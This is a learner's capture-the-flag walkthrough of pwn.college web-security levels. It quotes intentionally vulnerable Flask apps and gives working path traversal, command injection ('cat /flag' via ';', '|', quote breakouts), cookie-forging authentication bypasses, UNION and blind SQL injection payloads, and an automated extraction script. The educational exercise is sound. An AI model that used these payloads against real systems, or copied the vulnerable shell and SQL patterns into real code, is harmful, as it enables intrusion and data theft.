Web content is served up via the internet by web servers, and like everything else, these web servers, and the pages that they serve up, contain vulnerabilities! In this module, you will wrap yourself in the mysteries of the web, exploring various types of vulnerabilities that can occur. As you work through this module, keep in mind, these aren't theoretical curiosities: these are common, critical vulnerabilities that occur all the time in the modern web and can lead to massive data breaches, account takeover, and more.
Now, dive in, and hack!
Path Traversal 1
This level will explore the intersection of Linux path resolution, when done naively, and unexpected web requests from an attacker.
code:
#!/opt/pwn.college/python
import flask
import os
app = flask.Flask(__name__)
@app.route("/", methods=["GET", "POST"])
@app.route("/<path:path>", methods=["GET", "POST"])
def challenge(path="index.html"):
requested_path = app.root_path + "/files/" + path
print(f"DEBUG: {requested_path=}")
try:
return open(requested_path).read()
except PermissionError:
flask.abort(403, requested_path)
except FileNotFoundError:
flask.abort(404, f"No {requested_path} from directory {os.getcwd()}")
except Exception as e:
flask.abort(500, requested_path + ":" + str(e))
app.secret_key = os.urandom(8)
app.config['SERVER_NAME'] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)
Solution
So we can just send a request with curl then encode the path taversal
curl -v http://challenge.localhost/..%2F..%2Fflag
Path Traversal 2
The previous level’s path traversal happened because of a disconnect between:
- The developer's awareness of the true range of potential input that an attacker might send to their application (e.g., the concept of an attacker sending characters that have special meaning in paths).
- A gap between the developer's intent (the implementation makes it clear that we only expect files under the
/challenge/filesdirectory to be served to the user) and the reality of the filesystem (where paths can go "back" up a directory level).
This level tries to stop you from traversing the path, but does it in a way that clearly demonstrates a further lack of developer’s understanding of how tricky paths can truly be:
#!/opt/pwn.college/python
import flask
import os
app = flask.Flask(__name__)
@app.route("/", methods=["GET", "POST"])
@app.route("/<path:path>", methods=["GET", "POST"])
def challenge(path="index.html"):
requested_path = app.root_path + "/files/" + path.strip("/.")
print(f"DEBUG: {requested_path=}")
try:
return open(requested_path).read()
except PermissionError:
flask.abort(403, requested_path)
except FileNotFoundError:
flask.abort(404, f"No {requested_path} from directory {os.getcwd()}")
except Exception as e:
flask.abort(500, requested_path + ":" + str(e))
app.secret_key = os.urandom(8)
app.config['SERVER_NAME'] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)
curl -v "http://challenge.localhost/fortunes/%2F..%2F..%2F..%2Fflag"
CMDi 1
#!/opt/pwn.college/python
import subprocess
import flask
import os
app = flask.Flask(__name__)
@app.route("/", methods=["GET", "POST"])
def challenge():
directory = flask.request.args.get("directory", "/challenge")
command = f"ls -l {directory}"
print(f"DEBUG: {command=}")
listing = subprocess.run(
command, # the command to run
shell=True, # use the shell to run this command
stdout=subprocess.PIPE, # capture the standard output
stderr=subprocess.STDOUT, # 2>&1
encoding="latin" # capture the resulting output as text
).stdout
return f"""
<html><body>
Welcome to the dirlister service! Please choose a directory to list the files of:
<form><input type=text name=directory><input type=submit value=Submit></form>
<hr>
<b>Output of: ls -l {directory}</b><br>
<pre>{listing}</pre>
</body></html>
"""
os.setuid(os.geteuid())
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
app.secret_key = os.urandom(8)
app.config['SERVER_NAME'] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)
The vulnerable parameter is directory, which is retrieved from the request arguments flask.request.args.get("directory", "/challenge")
The vulnerability arises from the following line in the challenge function:
command = f"ls -l {directory}"
Here, the directory parameter is directly interpolated into the command string without any sanitization or validation. This means that any input provided for the directory parameter can be executed as part of a shell command
How the Vulnerability Occurs
- User Input: The user provides input for the
directoryparameter via a web form or directly through a URL query parameter. - Command Construction: The input is directly concatenated into the
commandstring. - Shell Execution: The
subprocess.runfunction executes the constructed command withshell=True, which allows the shell to interpret the input.
Example of Exploitation
By providing a specially crafted input, an attacker can inject arbitrary commands. For example:
curl "http://challenge.localhost/?directory=;id"
CMDi 2
Many developers are aware of things like command injection, and try to prevent it. In this level, you may not use ; but instead use piping |
curl "http://challenge.localhost/?directory=|cat%20/flag"
CMDi 3
os.system(f"echo Hello '{word}'")
The shell, when given arguments in single quotes, treats otherwise-special characters like ;
as just normal characters, until it hots the closing single quote ‘
curl -v "http://challenge.localhost/?directory=%27%20%3B%20cat%20/flag%20%23"
-
Analyze the vuln
- The initial command format was:
os.system(f"echo Hello '{word}'"). - The vulnerability lies in how
wordis inserted directly into the shell command, allowing the possibility of command injection. - The key challenge here is that the injected payload will be enclosed in single quotes (
'), limiting the characters we can use. Since special characters (like;or$) are normally ignored inside single quotes, this requires a trick to "break out" of the quotes.
- The initial command format was:
-
Crafting the Injection Payload:
- The goal is to close the initial single-quoted string, add a command (
cat /flag), and neutralize any trailing characters to prevent syntax errors. - To achieve this:
': Ends the original single-quoted string.;: Starts a new command; it separates our injected command from the initialecho.cat /flag: The command we want to execute to read/flag.#: Comments out the remaining single quote, preventing it from causing syntax errors.
So the desired payload is:
%27%20%3B%20cat%20/flag%20%23 - The goal is to close the initial single-quoted string, add a command (
CMDi 4
Calling shell commands to carry put work, or “shelling out”
#!/opt/pwn.college/python
import subprocess
import flask
import os
app = flask.Flask(__name__)
@app.route("/", methods=["GET", "POST"])
def challenge():
timezone = flask.request.args.get("timezone", "MST")
command = f"TZ={timezone} date"
print(f"DEBUG: {command=}")
result = subprocess.run(
command, # the command to run
shell=True, # use the shell to run this command
stdout=subprocess.PIPE, # capture the standard output
stderr=subprocess.STDOUT, # 2>&1
encoding="latin" # capture the resulting output as text
)
return f"""
<html><body>
Welcome to the timezone service! Please choose a timezone to get the time there.
<form><input type=text name=timezone><input type=submit value=Submit></form>
<hr>
<b>Output of: TZ={timezone} date</b><br>
<pre>{result.stdout}</pre>
</body></html>
"""
os.setuid(os.geteuid())
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
app.secret_key = os.urandom(8)
app.config['SERVER_NAME'] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)
This code introduces a new attack vector: the Timezone (TZ) environment variable in a shell command, which is vulnerable to command injection. The subprocess.run() function is involved with shell=True, making the entire command susceptible to shell injection via the timezone parameter
Command Construction
command = f"TZ={timezone} date"
The timezone parameter is inserted directly into shell command. If a malicious user passes a value like MST; cat /flag as the timezone, but after the semicolon ; it will treat cat /flag as separate command command.
Poc
curl -v "http://challenge.localhost/?timezone=MST;cat /flag"
CMDi 5
Programs tend to shell out to do complex internal computation. This means that you might not always get sent the resulting output, and you will need to do your attack blind. Try it in this level: without the output of your injected command, get the flag!
#!/opt/pwn.college/python
import subprocess
import flask
import os
app = flask.Flask(__name__)
@app.route("/", methods=["GET", "POST"])
def challenge():
filepath = flask.request.args.get("filepath", "/challenge")
command = f"touch {filepath}"
print(f"DEBUG: {command=}")
subprocess.run(
command, # the command to run
shell=True, # use the shell to run this command
stdout=subprocess.PIPE, # capture the standard output
stderr=subprocess.STDOUT, # 2>&1
encoding="latin" # capture the resulting output as text
)
return f"""
<html><body>
Welcome to the touch service! Please choose a file to touch:
<form><input type=text name=filepath><input type=submit value=Submit></form>
<hr>
<b>Ran the command: touch {filepath}</b>
</body></html>
"""
os.setuid(os.geteuid())
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
app.secret_key = os.urandom(8)
app.config['SERVER_NAME'] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)
The filepath variable is directly included in a shell command without any sanitization or validation
We can craft a malicious input for the filepath parameter, injecting additional commands using shell metacharacters like ;, && or |
curl "http://challenge.localhost/?filepath=/legit/file;cat%20/flag%20>%20/tmp/output"
Authentication Bypass 1
#!/opt/pwn.college/python
import tempfile
import sqlite3
import flask
import os
app = flask.Flask(__name__)
# Don't panic about this class. It simply implements a temporary database in which
# this application can store data. You don't need to understand its internals, just
# that it processes SQL queries using db.execute().
class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result
db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [os.urandom(8)])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
@app.route("/", methods=["POST"])
def challenge_post():
username = flask.request.form.get("username")
password = flask.request.form.get("password")
if not username:
flask.abort(400, "Missing `username` form parameter")
if not password:
flask.abort(400, "Missing `password` form parameter")
# https://www.sqlite.org/lang_select.html
user = db.execute("SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password")
return flask.redirect(f"""{flask.request.path}?session_user={username}""")
@app.route("/", methods=["GET"])
def challenge_get():
if not (username := flask.request.args.get("session_user", None)):
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!"
if username == "admin":
page += "<br>Here is your flag: " + open("/flag").read()
return page + """
<hr>
<form method=post>
User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit>
</form>
</body></html>
"""
app.secret_key = os.urandom(8)
app.config['SERVER_NAME'] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)
A user is authenticated if a valid row exists in the users table matching username and password also the flag is revealed as log as session_user is admin so we will have 2(3 maybe) pocs
hacker@web-security~authentication-bypass-1:~$ curl "http://challenge.localhost/?session_user=admin"
<html><body>Hello, admin!<br>Here is your flag: pwn.college{ke6bQ1NYffXlthatLp5-6qMmMJ-.dlDOzMDL5cDOzIzW}
Authentication bypass 2
#!/opt/pwn.college/python
import tempfile
import sqlite3
import flask
import os
app = flask.Flask(__name__)
class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result
db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [os.urandom(8)])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
@app.route("/", methods=["POST"])
def challenge_post():
username = flask.request.form.get("username")
password = flask.request.form.get("password")
if not username:
flask.abort(400, "Missing `username` form parameter")
if not password:
flask.abort(400, "Missing `password` form parameter")
# https://www.sqlite.org/lang_select.html
user = db.execute("SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password")
response = flask.redirect(flask.request.path)
response.set_cookie('session_user', username)
return response
@app.route("/", methods=["GET"])
def challenge_get():
if not (username := flask.request.cookies.get("session_user", None)):
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!"
if username == "admin":
page += "<br>Here is your flag: " + open("/flag").read()
return page + """
<hr>
<form method=post>
User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit>
</form>
</body></html>
"""
app.secret_key = os.urandom(8)
app.config['SERVER_NAME'] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)
This was easy, just setting session_user cookie as admin:
hacker@web-security~authentication-bypass-2:~$ curl "http://challenge.localhost/" --cookie "session_user=admin"
<html><body>Hello, admin!<br>Here is your flag: pwn.college{wsDVFWcFD8h81XLXTXBtPKFfEE3.dJzN1YDL5cDOzIzW}
SQLi 1
import tempfile
import sqlite3
import random
import flask
import os
app = flask.Flask(__name__)
class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result
db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as pin""", [random.randrange(2**32, 2**63)])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, 1337 as pin""")
@app.route("/", methods=["POST"])
def challenge_post():
username = flask.request.form.get("username")
pin = flask.request.form.get("pin")
if not username:
flask.abort(400, "Missing `username` form parameter")
if not pin:
flask.abort(400, "Missing `pin` form parameter")
if pin[0] not in "0123456789":
flask.abort(400, "Invalid pin")
try:
# https://www.sqlite.org/lang_select.html
query = f'SELECT rowid, * FROM users WHERE username = "{username}" AND pin = {pin}'
print(f"DEBUG: {query=}")
user = db.execute(query).fetchone()
except sqlite3.Error as e:
flask.abort(500, f"Query: {query}\nError: {e}")
if not user:
flask.abort(403, "Invalid username or pin")
flask.session["user"] = username
return flask.redirect(flask.request.path)
@app.route("/", methods=["GET"])
def challenge_get():
if not (username := flask.session.get("user", None)):
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!"
if username == "admin":
page += "<br>Here is your flag: " + open("/flag").read()
return page + """
<hr>
<form method=post>
User:<input type=text name=username>PIN:<input type=text name=pin><input type=submit value=Submit>
</form>
</body></html>
"""
app.secret_key = os.urandom(8)
app.config['SERVER_NAME'] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)
The challenge_post method contains an SQL injection the query:
query = f'SELECT rowid, * FROM users WHERE username = "{username}" AND pin = {pin}'
directly embeds user input into the SQL query string without sanitization. This allows us to inject SQL code
payload:
Username: admin
Pin: 0 OR 1=1
This always evaluates to true because 1=1 is always true, allowing access as the admin user.
SQLi 2
import tempfile
import sqlite3
import flask
import os
app = flask.Flask(__name__)
class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result
db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [os.urandom(8)])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
@app.route("/", methods=["POST"])
def challenge_post():
username = flask.request.form.get("username")
password = flask.request.form.get("password")
if not username:
flask.abort(400, "Missing `username` form parameter")
if not password:
flask.abort(400, "Missing `password` form parameter")
try:
# https://www.sqlite.org/lang_select.html
query = f"SELECT rowid, * FROM users WHERE username = '{username}' AND password = '{password}'"
print(f"DEBUG: {query=}")
user = db.execute(query).fetchone()
except sqlite3.Error as e:
flask.abort(500, f"Query: {query}\nError: {e}")
if not user:
flask.abort(403, "Invalid username or password")
flask.session["user"] = username
return flask.redirect(flask.request.path)
@app.route("/", methods=["GET"])
def challenge_get():
if not (username := flask.session.get("user", None)):
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!"
if username == "admin":
page += "<br>Here is your flag: " + open("/flag").read()
return page + """
<hr>
<form method=post>
User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit>
</form>
</body></html>
"""
app.secret_key = os.urandom(8)
app.config['SERVER_NAME'] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)
Payload:
' OR 1=1 --
OR 1=1 Makes the condition always true
then SQL comments to ignore password checkup
EDIT:
The payload is supposed to be used in the password field and not the username
SQLi 3
import tempfile
import sqlite3
import flask
import os
app = flask.Flask(__name__)
class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result
db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
@app.route("/", methods=["GET"])
def challenge():
query = flask.request.args.get("query", "%")
try:
# https://www.sqlite.org/lang_select.html
sql = f'SELECT username FROM users WHERE username LIKE "{query}"'
print(f"DEBUG: {query=}")
results = "\n".join(user["username"] for user in db.execute(sql).fetchall())
except sqlite3.Error as e:
results = f"SQL error: {e}"
return f"""
<html><body>Welcome to the user query service!
<form>Query:<input type=text name=query value='{query}'><input type=submit value=Submit></form>
<hr>
<b>Query:</b> <pre>{sql}</pre><br>
<b>Results:</b><pre>{results}</pre>
</body></html>
"""
app.secret_key = os.urandom(8)
app.config['SERVER_NAME'] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)
The key issue lies in this line:
sql = f'SELECT username FROM users WHERE username LIKE "{query}"'
Payload for query parameter:
" UNION SELECT password FROM users --
- Closes the
LIKEclause with“character - Appends a
UNIONstatement to fetch the password column from the users table —comments out the rest of the SQL statement to prevent syntax errors
SQLi 4
import tempfile
import sqlite3
import random
import flask
import os
app = flask.Flask(__name__)
class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result
db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
user_table = f"users_{random.randrange(2**32, 2**33)}"
db.execute(f"""CREATE TABLE {user_table} AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])
# https://www.sqlite.org/lang_insert.html
db.execute(f"""INSERT INTO {user_table} SELECT "guest" as username, "password" as password""")
@app.route("/", methods=["GET"])
def challenge():
query = flask.request.args.get("query", "%")
try:
# https://www.sqlite.org/schematab.htmlF
# https://www.sqlite.org/lang_select.html
sql = f'SELECT username FROM {user_table} WHERE username LIKE "{query}"'
print(f"DEBUG: {query=}")
results = "\n".join(user["username"] for user in db.execute(sql).fetchall())
except sqlite3.Error as e:
results = f"SQL error: {e}"
return f"""
<html><body>Welcome to the user query service!
<form>Query:<input type=text name=query value='{query}'><input type=submit value=Submit></form>
<hr>
<b>Query:</b> <pre>{sql.replace(user_table, "REDACTED")}</pre><br>
<b>Results:</b><pre>{results}</pre>
</body></html>
"""
app.secret_key = os.urandom(8)
app.config['SERVER_NAME'] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)
The table name changes dynamically with each execution and its not directly exposed in the response, as it is replaces by REDACTED in the debug output
The query parameter is still vulnerable to SQL injection, allowing manipulation of the LIKE query
Determine the table name
SQLite includes a built0in system table called sql_master that contains metadata about all tables in the database. To extract the name of the randomly created table, we can use a UNION-based SQL injection payload:
" UNION SELECT name FROM sqlite_master WHERE type='table' --
Extracting the Password
" UNION SELECT password FROM users_<table_name> --
SQLi 5
#!/opt/pwn.college/python
import flask
import os
app = flask.Flask(__name__)
import sqlite3
import tempfile
class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result
db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, 'password' as password""")
@app.route("/", methods=["POST"])
def challenge_post():
username = flask.request.form.get("username")
password = flask.request.form.get("password")
if not username:
flask.abort(400, "Missing `username` form parameter")
if not password:
flask.abort(400, "Missing `password` form parameter")
try:
# https://www.sqlite.org/lang_select.html
query = f"SELECT rowid, * FROM users WHERE username = '{username}' AND password = '{ password }'"
print(f"DEBUG: {query=}")
user = db.execute(query).fetchone()
except sqlite3.Error as e:
flask.abort(500, f"Query: {query}\nError: {e}")
if not user:
flask.abort(403, "Invalid username or password")
flask.session["user"] = username
return flask.redirect(flask.request.path)
@app.route("/", methods=["GET"])
def challenge_get():
if not (username := flask.session.get("user", None)):
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!"
return (
page
+ """
<hr>
<form method=post>
User:<input type=text name=username>Password:<input type=text name=password><input type=submit value=Submit>
</form>
</body></html>
"""
)
app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)
I’m gonna be honest, I did something similar to this in Pentesterlab but it was NoSQli with MongoDB so here is the code and explanation of how it works:
import requests
import string
# The base URL for the vulnerable Flask application
URL = "http://challenge.localhost:80/"
# Define the function to test a payload
def check(username_payload, password_payload):
data = {
"username": username_payload,
"password": password_payload,
}
response = requests.post(URL, data=data, allow_redirects=False)
# Check for a redirect as a success indicator
return response.status_code == 302
# Character set to test against
CHARSET = string.ascii_letters + string.digits + "_{}-!@#$%^&*()+=~`|:;'<>,.?/"
password = ""
print("Starting blind SQL injection...")
while True:
for c in CHARSET:
print(f"Trying: {password + c}")
# SQL injection payload targeting the admin user
password_payload = "password"
username_payload = f"admin' AND SUBSTR(password, {len(password) + 1}, 1) = '{c}' --"
if check(username_payload, password_payload):
password += c
print(f"Password so far: {password}")
break
else:
print(f"Flag successfully retrieved: {password}")
exit(0)
The vulnerability lies in the way user input is handled in the application. Specifically:
Direct String Interpolation: The application directly incorporates user-provided input into an SQL query without proper sanitization:
query = f"SELECT rowid, * FROM users WHERE username = '{username}' AND password = '{password}'"
This allows attackers to craft malicious inputs (username or password) to manipulate the SQL query's logic.
Lack of Parameterized Queries: The query does not use parameterized placeholders (e.g., ? in SQLite), which could have mitigated SQL injection by treating user input as literal values instead of executable SQL code.
Blind SQL Injection: The application gives binary feedback (success/failure) without explicitly revealing query results. This enables attackers to infer sensitive information, like the admin's password (flag), by iteratively testing conditions.
How the Code Works
Binary Feedback Exploitation: The script leverages the application's binary feedback (302 Redirect for success) to deduce the flag's content character by character.
Payload Construction:
The username_payload contains an injected SQL condition:
admin' AND SUBSTR(password, {position}, 1) = '{char}' --
This tests if the character at position {position} in the password is {char}.
The password_payload is irrelevant in this scenario since the injection bypasses its check.
Character Set Testing:
The script tests each possible character (CHARSET) at every position of the password.
If the condition evaluates to True, the character is added to the password.
Automation:
The loop continues until no valid characters remain, indicating that the entire password has been extracted.
